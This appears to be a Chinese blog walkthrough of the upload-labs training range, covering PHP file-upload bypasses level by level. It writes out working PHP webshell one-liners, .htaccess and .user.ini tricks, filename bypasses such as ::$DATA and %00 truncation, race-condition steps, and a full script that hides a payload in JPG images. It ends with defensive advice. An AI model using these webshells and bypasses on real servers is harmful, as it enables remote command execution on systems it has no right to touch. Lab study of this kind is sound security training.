upload-labs-文件上传漏洞(全)

upload-labs

从经典靶场入手,看文件上传发展经历

下载

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

下载地址:https://github.com/c0ny1/upload-labs/releases

在 win 环境下 直接解压到phpstudy下即可

绕过方式

从以下练习中提炼出文件上传的绕过方式

  1. 上传文件类型不收限制

  2. 前端Javascript校验 - Burp抓包改包绕过

  3. 利用缺陷的文件上传验证

    1. 文件类型验证缺陷 - 通过不常见的后缀绕过 比如:php3,php5等等

    2. 上传目录限制文件类型 - 尝试利用目录遍历将文件上传到其他目录

    3. 后缀限制 - 通过.htaccess 欺骗服务器扩展任意自定义文件后缀到已知的MIME类型;利用.user.ini 包含jpg文件到任意已存在php文件中

    4. 黑名单限制 - 利用后端解析差异

      1. ., 空格::$DATA

      2. Apache 解析漏洞,Nginx解析漏洞,IIS解析漏洞

      3. 对上传 . / 进行二次编码,适合验证文件名扩展没有解码,服务端被解码

      4. 利用 ;,%00绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异

  4. 黑名单过滤后缀 - 通过双写绕过

  5. 文件内容检查 - 通过添加允许文件头格式绕过

  6. 通过条件竞争实现文件上传

练习

靶场练习主要针对后端检查绕过,从黑白名单,后端检查的内容和代码逻辑几个方面提出不同的绕过方式

有些绕过方式较为久远,我就简单介绍,其他可以在现阶段使用的上传手法给予较多的关注

Pass-1 Javascript 前端检查

一般 都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过

  • 修改JS文件

  • 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)

  • 禁用js

靶场实战

  1. 上传webshell.png 文件内容为:<?php @system($_GET['cmd']); ?>

  2. burp 抓包 ,修改文件名为ceshi.php

  3. 成功上传后,找到上传图片的位置,访问 GET /xxx/ceshi.php?cmd=whoami

burp 修改上传文件名的位置

image

获取到图片位置,通过GET方式传入 cmd 参数来获取执行系统命令

image

Pass-2 文件类型检查有缺陷

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

  1. 上传 webshell.php 内容为:<?php @system($_GET['cmd']); ?>

  2. 抓包 修改上传的Content-Type 类型为允许的类型 image/jpeg

  3. 放包,收到成功上传

  4. 复制文件上传的路径,请求 GET /upload/upload/webshell.php?cmd=whoami

image

Pass-3 黑名单限制不完全

对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过

  1. 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等

  2. 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型

  3. 利用后端解析差异绕过限制

    1. 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格

    2. 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp

    3. 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg

靶机实战

  1. 上传 webshell.php3 内容为:<?php @system($_GET['cmd']); ?>

  2. 复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami

image

Pass-4 .htaccess 扩展后缀名

测试上传的后缀, php1 php2 php3 都不行,后缀被限制了,尝试上传 .htaccess 添加扩展后缀

  1. 上传 .htaccess 内容为:AddType application/x-httpd-php .l33t

  2. 上传 webshell.l33t 内容为:<?php @system($_GET['cmd']); ?>

  3. 访问文件,执行webshell

Pass-5 .user.ini

image

本关在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。

user.ini

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n115" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">auto_prepend_file=web.jpg</pre>

web.jpg

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n117" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""><?php @eval($_GET['cmd']) ?></pre>

Pass-6 大小写绕过

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n119" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""> deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");file_name = trim($_FILES['upload_file']['name']);</pre>

服务器端检查后缀时忽略了对大小写的检测,故可以通过大写后缀绕过

Pass-7 黑名单限制不完全- 空格

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n122" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""> if (file_exists(UPLOAD_PATH)) {
deny_ext = array(".php",".php5"," ....... ,".ini");file_name = _FILES['upload_file']['name'];file_name = deldot(file_name);//删除文件名末尾的点file_ext = strrchr(file_name, '.');file_ext = strtolower(file_ext); //转换为小写file_ext = str_ireplace('::DATA', '',file_ext);//去除字符串::$DATA</pre>

后端检测没有去掉首尾空格,于是上传 shell.php+空格

image

Pass-8 黑名单限制不完全 - 点

源码中没有过滤 .

上传时文件名为webshell.php.,绕过对后缀的检查

Pass-9 黑名单限制不完全 - ::$DATA

源码中未对 ::$DATA 过滤

在window的时候如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:"webshell.php::DATA"Windows会自动去掉末尾的::DATA变成"webshell.php"

上传 webshell.php::$DATA

image

服务端会创建对应的php文件

image

Pass-10 黑名单限制不完全 - 过滤不全

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n139" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""> file_name = trim(_FILES['upload_file']['name']);
file_name = deldot(file_name);//删除文件名末尾的点
file_ext = strrchr(file_name, '.');
file_ext = strtolower(file_ext); //转换为小写
file_ext = str_ireplace('::DATA', '', file_ext);//去除字符串::DATA
file_ext = trim(file_ext); //首尾去空</pre>

使用 deldot() 删除文件名末尾的点

deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来

可以构造文件名: webshell.php. . 绕过检测

Pass-11 黑名单限制不完全 - 双写绕过

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n145" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">$deny_ext = array("......");

file_name = trim(_FILES['upload_file']['name']);
file_name = str_ireplace(deny_ext,"", file_name);temp_file = _FILES['upload_file']['tmp_name'];img_path = UPLOAD_PATH.'/'.$file_name;</pre>

源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查

上传文件名 :webshell.p.phphp

上传时会被删除 .php

最后的上传文件名: webshell.php

Pass-12 上传路径可控

条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off

strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置(区分大小写)。

substr(string,start,length) 函数返回字符串的一部分*(从start开始 ,长度为 length)

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n155" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">ext_arr = array('jpg','png','gif');file_ext = substr(_FILES['upload_file']['name'],strrpos(_FILES['upload_file']['name'],".")+1);
if(in_array(file_ext,ext_arr)){
temp_file =_FILES['upload_file']['tmp_name'];
img_path =_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;</pre>

源码中对后缀进行白名单检测,只允许 jpg ,png,gif

但上传的路径可控,这里可以使用 %00截断

  1. 上传webshell.jpg的一句话木马

  2. save_path=../upload/webshell.php%00

  3. 成功上传后,%00后的不会被识别

image

Pass-13 上传路径可控2

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n167" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""> ext_arr = array('jpg','png','gif');file_ext = substr(_FILES['upload_file']['name'],strrpos(_FILES['upload_file']['name'],".")+1);
if(in_array(file_ext,ext_arr)){
temp_file =_FILES['upload_file']['tmp_name'];
img_path =_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;</pre>

路径可控位置在POST 数据中

burphex 请求数据中,修改php后的字节为00,

image

POST 不会对数据自动解码,所以修改HEX 中内容

Pass-14 文件内容检测

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

在这一关,除了上传,还存在一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件

构造:include.php?file=upload/shell.jpg ,include 会以本文的形式读取shell.jpg的内容,这样存在于shell.jpg里的一句话木马就可以执行

image

图片文件头格式:

文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638

Pass-15 文件内容检测

image_type_to_extension 根据指定的图像类型返回对应的后缀名

和Pass-14 做法一致

Pass-16 文件内容检测

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

需要开启 php_exif模块

做法和Pass-14 一致

Pass-17 二次渲染

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染

绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去,这样就可以利用文件包含去执行php一句话木马了

对于GIF 的上传,只需要判断没有修改的位置,然后将php一句话木马添加即可

对于PNG的上传,需要修改PLTE数据块或者修改IDAT数据块,

这里可以利用别人写好的脚本,将php一句话 <?=_GET[0](_POST[1])?>,一句话利用了php短开标签

image

另一个要注意的点,0 这里不用使用eval,eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

对于JPG 的上传

命令: php jpg_paload.php 1.jpg

1.jpg 为正常的图片,执行后得到新的payload_1.jpg 为添加php一句话木马后的

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n207" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang=""> <?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

  1. Upload an arbitrary image via secured files upload script
  2. Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
  3. After the second processing the injected data may become partially corrupted.
  4. The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for(pad = 0;pad < 1024; pad++) {nullbytePayloadSize = pad;dis = new DataInputStream(argv[1]);outStream = file_get_contents(argv[1]);extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!dis->eof()) && (dis->readByte() == 0xFF)) {
marker =dis->readByte();
size =dis->readShort() - 2;
dis->skip(size);
if(marker === 0xDA) {startPos = dis->seek();outStreamTmp =
substr(outStream, 0,startPos) .
miniPayload . str_repeat("\0",nullbytePayloadSize) .
substr(outStream,startPos);
checkImage('_'.argv[1],outStreamTmp, TRUE);
if(extraBytes !== 0) { while((!dis->eof())) {
if(dis->readByte() === 0xFF) { if(dis->readByte !== 0x00) {
break;
}
}
}
stopPos =dis->seek() - 2;
imageStreamSize =stopPos - startPos;outStream =
substr(outStream, 0,startPos) .
miniPayload . substr( str_repeat("\0",nullbytePayloadSize).
substr(outStream,startPos, imageStreamSize), 0,nullbytePayloadSize+imageStreamSize-extraBytes) .
substr(outStream,stopPos);
} elseif(correctImage) {outStream = outStreamTmp; } else { break; } if(checkImage('payload_'.argv[1], outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.argv[1]);
die('Something's wrong');

function checkImage(filename,data, unlink = FALSE) { globalcorrectImage;
file_put_contents(filename,data);
correctImage = TRUE; imagecreatefromjpeg(filename);
if(unlink) unlink(filename);
return $correctImage;
}

function custom_error_handler(errno,errstr, errfile,errline) {
global extraBytes,correctImage;
correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/',errstr, m)) { if(isset(m[1])) {
extraBytes = (int)m[1];
}
}
}

class DataInputStream {
private binData; privateorder;
private $size;

public function __construct(filename,order = false, fromString = false) {this->binData = '';
this->order =order;
if(!fromString) { if(!file_exists(filename) || !is_file(filename)) die('File not exists ['.filename.']');
this->binData = file_get_contents(filename);
} else {
this->binData =filename;
}
this->size = strlen(this->binData);
}

public function seek() {
return (this->size - strlen(this->binData));
}

public function skip(skip) {this->binData = substr(this->binData,skip);
}

public function readByte() {
if(this->eof()) { die('End Of File'); }byte = substr(this->binData, 0, 1);this->binData = substr(this->binData, 1); return ord(byte);
}

public function readShort() {
if(strlen(this->binData) < 2) { die('End Of File'); }short = substr(this->binData, 0, 2);this->binData = substr(this->binData, 2); if(this->order) {
short = (ord(short[1]) << 8) + ord(short[0]); } else {short = (ord(short[0]) << 8) + ord(short[1]);
}
return $short;
}

public function eof() {
return !this->binData||(strlen(this->binData) === 0);
}
}
?></pre>

另一个方式:

move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,

所以我们可以利用这个上传的间隙去执行php文件,实现绕过。

Pass-18 条件竞争

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n212" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">if(isset(_POST['submit'])){ext_arr = array('jpg','png','gif');
file_name =_FILES['upload_file']['name'];
temp_file =_FILES['upload_file']['tmp_name'];
file_ext = substr(file_name,strrpos(file_name,".")+1);upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file(temp_file,upload_file)){
if(in_array(file_ext,ext_arr)){
img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".file_ext;
rename(upload_file,img_path);
is_upload = true; }else{msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);</pre>

源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

触发:

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞

Pass-19 条件竞争漏洞

对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

在这一关要注意上传后的文件名:uploadxxx.jpg

成功上传还没重命名的,通过include.php实现包含

image

Pass-20 文件名可控

save_name 可控,可以通过 .,空格,00截断绕过对后缀的判断,

Pass-21多个条件绕过

<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n227" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">if(!empty(_FILES['upload_file'])){ //检查MIMEallow_type = array('image/jpeg','image/png','image/gif');
if(!in_array(_FILES['upload_file']['type'],allow_type)){
msg = "禁止上传该类型文件!"; }else{ //检查文件名file = empty(_POST['save_name']) ?_FILES['upload_file']['name'] : _POST['save_name']; if (!is_array(file)) {
file = explode('.', strtolower(file));
}

ext = end(file);
allow_suffix = array('jpg','png','gif'); if (!in_array(ext, allow_suffix)) {msg = "禁止上传该后缀文件!";
}else{
file_name = reset(file) . '.' . file[count(file) - 1];
temp_file =_FILES['upload_file']['tmp_name'];
img_path = UPLOAD_PATH . '/' .file_name;
if (move_uploaded_file(temp_file,img_path)) {
$msg = "文件上传成功!";</pre>

源码逻辑:

  1. 检查MIME (通过抓包改Content-Type 绕过)

  2. 判断 POST参数 save_name 是否为空,

  3. 判断$file 是否为数组,不是数组以 .分割化为数组

  4. 取 $file 最后一个元素,作为文件后缀进行检查

  5. file 第一位和第`file[count($file) - 1]`作为文件名和后缀名保存文件

故:

上传 webshell.php, 修改save_name 为数组 绕过对file 的切割,最后file 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后reset($file) = webshell.php

$file[1] 没有定义为空,count($file) 的值为$file[count($file) - 1] = $file[1]

所以最后上传的文件为webshell.php

image

文件上传总结

允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名

  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。

  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。

  • 在完全验证之前不要将文件上传到服务器的永久文件系统。

  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。


文章首发于公众号:石头安全

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350

推荐阅读更多精彩内容